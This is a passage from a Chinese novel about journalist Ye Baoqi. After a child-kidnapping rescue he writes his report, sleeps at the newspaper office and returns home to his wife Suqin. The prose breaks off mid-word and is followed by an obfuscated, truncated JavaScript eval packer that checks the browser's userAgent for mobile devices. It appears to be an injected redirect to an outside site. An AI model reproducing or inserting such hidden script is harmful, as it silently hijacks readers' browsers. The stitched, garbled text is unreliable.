后来是怎么下楼的,怎么上车的,他都记不清了。只记得回到分局时,天已经蒙蒙亮了。东方的天空泛起鱼肚白,然后是淡淡的橘红,像伤口结痂的颜色。孩子的父母在办手续,孩子被一个年轻女民警抱着,喂了热水。孩子终于哭出来了,不是大哭,而是细弱的、断断续续的啜泣,像刚出生的小猫。那哭声撕扯着每个人的心。
刘局长走过来,拍拍叶葆启的肩:“叶记者,辛苦了。”局长的手很重,拍在肩上,能感觉到掌心的老茧。
“孩子……没事吧?”
“身体没大碍,就是吓着了。”刘局长说,“绑匪是个赌徒,欠了高利贷,狗急跳墙。已经审了,就一个人,没同伙。”
叶葆启松了口气。这时他才发现,防弹背心穿反了——硬邦邦的插板硌着胸口,怪不得一直不舒服。他想笑,却笑不出来。
摄影部记者看见了,笑:“葆启,你这背心穿的,真打起仗来,子弹从后面来怎么办?”
叶葆启也笑了,笑着笑着,眼睛湿了。他抹了把脸,手背上都是灰,混着泪水,成了泥。
回到报社,已经早晨七点。孙荣显还在值班,见他们回来,赶紧问:“怎么样?”他的眼睛里布满血丝,像地图上纵横的河流。
“孩子救出来了,绑匪抓了。”叶葆启瘫在椅子上,身体像掏空了的麻袋,“我得写稿。”
“先睡会儿吧,眼睛都红了。”
“不,现在就写。”叶葆启打开稿纸,铺在桌上。纸是报社专用的稿纸,淡绿色格子,像囚禁思想的牢笼。“这事得让市民知道,知道警察的辛苦,知道孩子的无辜。”
他写得很慢,很认真。钢笔在纸上沙沙响,像春蚕食叶。他写绑匪的凶残,写父母的煎熬,写警察的果断,写最后团聚的泪水。没有渲染,没有煽情,只是平实地记录,但每一个字都沉甸甸的,蘸着夜露和冷汗。
写完,已经上午九点。阳光从窗户斜射进来,照在稿纸上,墨迹未干,闪着幽微的光。他趴在桌上,睡着了。
醒来时是下午两点。脖子僵硬,胳膊麻木。稿子已经送审了,陈秉烛批了“发”,两个红字力透纸背。叶葆启看看表,该回家了。
骑车回家的路上,阳光很好,照在身上暖洋洋的。街上人来人往,一切如常。卖煎饼果子的摊前排着队,铲子刮在铁板上的声音刺啦刺啦响。孩子们在追逐嬉戏,笑声清脆。老人们坐在路边晒太阳,闭着眼睛,脸上的皱纹在光里舒展。
没有人知道,昨夜发生过什么。没有人知道,一个孩子差点回不了家,一对父母差点失去灵魂。
但这就是生活。表面平静,底下暗流涌动。而记者,就是潜入水底的人,把那些暗流记录下来,带到光天化日之下,让它们蒸发,或者结晶。
回到家,素琴正在洗衣服。大盆里堆着衣服,她挽着袖子,胳膊被冷水激得通红。见他回来,吓了一跳:“你脸色怎么这么差?”她的声音里有真切的惊慌。
“昨晚没睡,跟了个绑架案。”
素琴手里的衣服掉盆里了,溅起水花:“绑架案?你……你没受伤吧?”她的眼睛睁大,瞳孔收缩,那是母亲和妻子本能的恐惧。
“没有,就是跟着,没上前。”叶葆启把事简单说了。说的时候,他发现自己省略了很多细节:穿反的防弹背心,孩子空茫的眼睛,母亲撕心裂肺的哭声。有些东西,无法用语言承载。
素
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16904166|192343||htt